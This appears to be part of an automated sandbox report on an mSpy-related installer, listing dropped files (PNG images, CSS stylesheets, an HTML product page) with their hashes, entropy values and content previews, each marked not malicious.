SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\is-VSD7S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12965
Entropy (8bit):	4.7252821159716
Encrypted:	false
SSDEEP:	384:fosFgDIOR12U81EfXbWtk4VAwvZRlppVLMQ:fos4II2U81EfLWtk4VAwvNpUQ
MD5:	5EC6E79E4BA242B21EBD31F4EF89BEB8
SHA1:	7D0202CC4739CFA0C8459E9347260F8F44DD72BF
SHA-256:	1B7D810D6F1338C3D06A01E067E0F933319048A03CCA73DBEA955400216448A3
SHA-512:	A4426BE8C9850D699EB3674B5A6C78E0E7666DB8BCC44D89FBA7D8D3158DE4E55548628318D13B35D7F8333C3237F1971750F46897448538F8AC7EDD4EFA985B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">..<link rel="stylesheet" type="text/css" href="mSpy/widgets.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery-ui-1.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/reset.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/main.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/anythingslider.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/core-ui-select.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery_002.css" media="all">..</head>..<body>.. <div class="std"><div class="wrapper">.. <div class="contentZone buyNowSection">.. <div class="product_page_wrap">.. <div class="product_page_top">..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\anythingslider.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9084
Entropy (8bit):	5.065593140327065
Encrypted:	false
SSDEEP:	192:hHkh1vcghAgzaYToWEaRuBMYzwd8Hj5YuMe2Ec:qjkqAgZVSwdYw
MD5:	5F2BED4A85218C1C9C056201259D9477
SHA1:	352547773546BB1D33CB0C2384F7BD97B158C7C7
SHA-256:	FC4B85956CF6A007BEF8A531757A85F15C65937C717D6294B78D24688F36FF0F
SHA-512:	2D9E9A2B2B305B9178179D2A69322EABE394287F1C31A2D40B930C5A249433B1C646118D6EC67495926FE138306291A9C29F4F35004F18D9D5E1FB6267A20405
Malicious:	false
Reputation:	unknown
Preview:	/..AnythingSlider v1.8+ Default theme..By Chris Coyier: http://css-tricks.com..with major improvements by Doug Neiner: http://pixelgraphics.us/..based on work by Remy Sharp: http://jqueryfordesigners.com/./../***************************. SET DEFAULT DIMENSIONS HERE. **************************/./ change the ID & dimensions to match your slider /.#main_slider { ..width: 992px; ..height: 352px;..list-style: none;../ Prevent FOUC (see FAQ page) and keep things readable if javascript is disabled /..overflow-y: auto;..overflow-x: hidden;.}../.caption{..filter:alpha(opacity=0);..-moz-opacity: 0;..opacity: 0;.}/../***************. SET STYLING HERE. ***************. =================================. Default state (no keyboard focus). ==================================/./* Overall Wrapper /..anythingSlider-default {..margin: 0 auto;../ 45px right & left padding for the arrows, 28px @ bottom for navigation /..padding:0;.}./ slider window - top & bottom borders, default

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\blue-arr-buy.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 52 x 44, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5834
Entropy (8bit):	7.9212427160575425
Encrypted:	false
SSDEEP:	96:PSDZ/I09Da01l+gmkyTt6Hk8nTNNtt/qXgfUmbtKXla2oVvcdWYrIgvPUSxMl:PSDS0tKg9E05TNNtlfUmIXlaZVvcdzIr
MD5:	F3E723BB70B07629C0A18763CD74EBE3
SHA1:	0450CC4E9FEC6C3FD446E2B3D3E68D03D37933A8
SHA-256:	1216AF29845B020BD410C9A4B0B2B0C6B2D528D5C6DDDA7BBDA0A905B4DDC84D
SHA-512:	0E9B25744201D9C3DFE27BE2497A2B6B769846A77E3CEADAB0A6B916B0F342A8EFC13A0817036883D36E7461276004D3B57CE648B9C4C771656CE6FE8B9FB071
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4...,.....].......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\core-ui-select.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4266
Entropy (8bit):	4.888037026868242
Encrypted:	false
SSDEEP:	96:FL8hjXF4ZFQF9FN/bIbx/yG2aC98ZehV9KF5Kf5k8gItrGZWFXyLYPBYzzDGt50s:F4xCKHT/bIbty19ee79KF5K68gI/yLsT
MD5:	94AED20EA3D620951F905B410B0058B2
SHA1:	0D4EA80D39F277A92FD4946CFB60EDFDEC72FADD
SHA-256:	4A2DE64E3701F68BE8FE448B569E3E2D36E54EA4AC59C25C91209F657ADD6C89
SHA-512:	FC5C107B7275A54966CC575EFAB496BF8D1BC3048D4ACD8916A62E0FE8B29AEDB4C44DE4513645CD4837ED58EBDF337BC3C9768E427B2DB3CF5D86CE07050649
Malicious:	false
Reputation:	unknown
Preview:	.b-core-ui-select { . margin:10px 0 0 0;. position: relative;. width: 86%;. padding: 6px 10px 6px 12px;. font-size: 12px;. line-height: 18px;. color: #333;. text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);. cursor: pointer;. background-color: #f3f3f3;. background-image: -ms-linear-gradient(top, #f3f3f3, #fff);. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f3f3f3), to(#fff));. background-image: -webkit-linear-gradient(top, #f3f3f3, #fff);. background-image: -o-linear-gradient(top, #f3f3f3, #fff);. background-image: linear-gradient(top, #f3f3f3, #fff);. background-image: -moz-linear-gradient(top, #f3f3f3, #fff);. background-repeat: repeat-x;. border: 1px solid #f1f1f1;. border-radius: 16px;. -webkit-box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. -o-user-select:

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\ic_device1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-AOB0E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4357
Entropy (8bit):	5.086666572264107
Encrypted:	false
SSDEEP:	48:h7+KZxJqQACHvdNOHAQVVZoxkVSmoAVxrYFQAR8/cr0Rx//rxCP7Rit/i7ri:hiex4CvdK30WvBcAMm9jxCP1iJini
MD5:	1BC699D294BA8BD26942A616C3EA89BF
SHA1:	A9D12A169CB0280B92DE02AB8C6C7C8DC1C1B378
SHA-256:	F54611C97CE99395B222F18FAB12115EA88182BD5FA922B8942DC5E792184D91
SHA-512:	895F0F099AE6A4CDF35B076B84D353762555A74C1A0FCA45DE438E2FD8E0468484FA4480FB84F94AEC42F2FC4EA5939E2A3107B446656D1ABFEAFAE86DCAA2D2
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /../ Widgets =======================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-DFHOU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	19946
Entropy (8bit):	7.9802553970586985
Encrypted:	false
SSDEEP:	384:PJXE05NCJU1LcNVmza+d5HrM5NKtj7iYGVRMS+GE1aSjk6N86:N35NCJU1LTRrw0tC1VRGGMbv7
MD5:	67762894881BFB63FB6961C18CB31251
SHA1:	0A1E5D5BF083BF5AB745CEF7F2F7DEEA28FA70D4
SHA-256:	9652BA4942B40A66C17785230946AB83320878DA3432B64B5815BFBFF267E247
SHA-512:	549A137F2E628D4BEEF1259F836FCEA8DD8E0C095F43DC9E1196CEA410CB232A7A6D8AE43501FA3DE78F6E242F2A66405E9543CF2B803DD1A9FFF2868A7DD653
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P........;....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-L5VCB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-P22IA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9410
Entropy (8bit):	4.808156480467523
Encrypted:	false
SSDEEP:	192:8xTTXb1y2qsr2WlPFGU6NQ78CodleKl5DJ:8Rysr2UgnXeKl59
MD5:	8FE70C8D484CF5852239704F1A614273
SHA1:	F13788A7DDCD3EA44A34779803CC8D27EC5C3C13
SHA-256:	6D46AD7400BA5FE7CADB930AEDAF0A8FEAD8609A5E26DCD48B274E6AC146DD94
SHA-512:	754CCE55105E01CD9668E2570212140022BB52FDC0FD02C60C34C8B691BC45D7B2187FCBA95FB9FC196D6F438154A22DAD4AFC044A3A1FC80024725AFA3066A6
Malicious:	false
Reputation:	unknown
Preview:	./! normalize.css v1.0.1 \| MIT License \| git.io/normalize /../* ==========================================================================. HTML5 display definitions. ========================================================================== /../. * Corrects `block` display not defined in IE 6/7/8/9 and Firefox 3.. /..article,.aside,.details,.figcaption,.figure,.footer,.header,.hgroup,.nav,.section,.summary {. display: block;.}../. * Corrects `inline-block` display not defined in IE 6/7/8/9 and Firefox 3.. /..audio,.canvas,.video {. display: inline-block;. display: inline;. zoom: 1;.}../. * Prevents modern browsers from displaying `audio` without controls.. * Remove excess height in iOS 5 devices.. /..audio:not([controls]) {. display: none;. height: 0;.}../. * Addresses styling for `hidden` attribute not present in IE 7/8/9, Firefox 3,. * and Safari 4.. * Known issue: no IE 6 support.. /..[hidden] {. display: none;.}../ ===========================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-QRTS4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	4.942541983682357
Encrypted:	false
SSDEEP:	24:hwyUwTlgKWSv5JZ0rKvG45jdSYqE2JeXNDs6izDNHZzz:h7+KZxJqQAeXi6i3Vtz
MD5:	6C9118F4F853D7ABC63505FD692D75F3
SHA1:	76B3CE5EC7FBEC277BD5357E2BD6AD2C461D2AEB
SHA-256:	077AA5312F62AC255FAB801D71E08970BC70E2DB469292BD9622B80EA15281C8
SHA-512:	1B81E2879067223419D09B4C6DF8A90F1255CD707EBEF0C490701E4701B721A7D4AC65860EB04083B51EB2F4CDD02D53AE880D6CD5534FF2A53C4824BE5D9E78
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /. { background:none !important;

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-RT31F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	222581
Entropy (8bit):	5.08641292920484
Encrypted:	false
SSDEEP:	6144:nml2NjrkK/xiuWs5su3SIM9eCUQqWC5mK7C:nml2NjrkK/xDsu3DM9eCULWC5mK7C
MD5:	B278DC17F1D04A093886C43920057567
SHA1:	25B6F13A20A79632261A7117F55A3F6575EF1A38
SHA-256:	C4FF671620CD870A457D54F926592092B4323ADA8C085ED75CE3705F2DFA11EF
SHA-512:	BE7C6EA7174ED9F1DD6370B6E18C636C36228C75CD25BEA8E1FB87BEB337912F521AEE6F584A873A0C17DCA87A3E2EAE9F4C26A4F154B78E084AE8EB21E6C742
Malicious:	false
Reputation:	unknown
Preview:	@font-face {. font-family: 'TeXGyreHerosRegular';. src: url('../fonts/texgyreheros-regular-webfont.eot');. src: url('../fonts/texgyreheros-regular-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-regular-webfont.woff') format('woff'),. url('../fonts/texgyreheros-regular-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-regular-webfont.svg#TeXGyreHerosRegular') format('svg');. font-weight: normal;. font-style: normal;.}..@font-face {. font-family: 'TeXGyreHerosItalic';. src: url('../fonts/texgyreheros-italic-webfont.eot');. src: url('../fonts/texgyreheros-italic-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-italic-webfont.woff') format('woff'),. url('../fonts/texgyreheros-italic-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-italic-webfont.svg#TeXGyreHerosItalic') format('svg');. font-weight: normal;. font-style: normal;..}..@font-face {. font-family

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-SBJET.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9084
Entropy (8bit):	5.065593140327065
Encrypted:	false
SSDEEP:	192:hHkh1vcghAgzaYToWEaRuBMYzwd8Hj5YuMe2Ec:qjkqAgZVSwdYw
MD5:	5F2BED4A85218C1C9C056201259D9477
SHA1:	352547773546BB1D33CB0C2384F7BD97B158C7C7
SHA-256:	FC4B85956CF6A007BEF8A531757A85F15C65937C717D6294B78D24688F36FF0F
SHA-512:	2D9E9A2B2B305B9178179D2A69322EABE394287F1C31A2D40B930C5A249433B1C646118D6EC67495926FE138306291A9C29F4F35004F18D9D5E1FB6267A20405
Malicious:	false
Reputation:	unknown
Preview:	/..AnythingSlider v1.8+ Default theme..By Chris Coyier: http://css-tricks.com..with major improvements by Doug Neiner: http://pixelgraphics.us/..based on work by Remy Sharp: http://jqueryfordesigners.com/./../***************************. SET DEFAULT DIMENSIONS HERE. **************************/./ change the ID & dimensions to match your slider /.#main_slider { ..width: 992px; ..height: 352px;..list-style: none;../ Prevent FOUC (see FAQ page) and keep things readable if javascript is disabled /..overflow-y: auto;..overflow-x: hidden;.}../.caption{..filter:alpha(opacity=0);..-moz-opacity: 0;..opacity: 0;.}/../***************. SET STYLING HERE. ***************. =================================. Default state (no keyboard focus). ==================================/./* Overall Wrapper /..anythingSlider-default {..margin: 0 auto;../ 45px right & left padding for the arrows, 28px @ bottom for navigation /..padding:0;.}./ slider window - top & bottom borders, default

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-SG2PR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4266
Entropy (8bit):	4.888037026868242
Encrypted:	false
SSDEEP:	96:FL8hjXF4ZFQF9FN/bIbx/yG2aC98ZehV9KF5Kf5k8gItrGZWFXyLYPBYzzDGt50s:F4xCKHT/bIbty19ee79KF5K68gI/yLsT
MD5:	94AED20EA3D620951F905B410B0058B2
SHA1:	0D4EA80D39F277A92FD4946CFB60EDFDEC72FADD
SHA-256:	4A2DE64E3701F68BE8FE448B569E3E2D36E54EA4AC59C25C91209F657ADD6C89
SHA-512:	FC5C107B7275A54966CC575EFAB496BF8D1BC3048D4ACD8916A62E0FE8B29AEDB4C44DE4513645CD4837ED58EBDF337BC3C9768E427B2DB3CF5D86CE07050649
Malicious:	false
Reputation:	unknown
Preview:	.b-core-ui-select { . margin:10px 0 0 0;. position: relative;. width: 86%;. padding: 6px 10px 6px 12px;. font-size: 12px;. line-height: 18px;. color: #333;. text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);. cursor: pointer;. background-color: #f3f3f3;. background-image: -ms-linear-gradient(top, #f3f3f3, #fff);. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f3f3f3), to(#fff));. background-image: -webkit-linear-gradient(top, #f3f3f3, #fff);. background-image: -o-linear-gradient(top, #f3f3f3, #fff);. background-image: linear-gradient(top, #f3f3f3, #fff);. background-image: -moz-linear-gradient(top, #f3f3f3, #fff);. background-repeat: repeat-x;. border: 1px solid #f1f1f1;. border-radius: 16px;. -webkit-box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. -o-user-select:

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-SSVU5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-T91A6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 52 x 44, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5834
Entropy (8bit):	7.9212427160575425
Encrypted:	false
SSDEEP:	96:PSDZ/I09Da01l+gmkyTt6Hk8nTNNtt/qXgfUmbtKXla2oVvcdWYrIgvPUSxMl:PSDS0tKg9E05TNNtlfUmIXlaZVvcdzIr
MD5:	F3E723BB70B07629C0A18763CD74EBE3
SHA1:	0450CC4E9FEC6C3FD446E2B3D3E68D03D37933A8
SHA-256:	1216AF29845B020BD410C9A4B0B2B0C6B2D528D5C6DDDA7BBDA0A905B4DDC84D
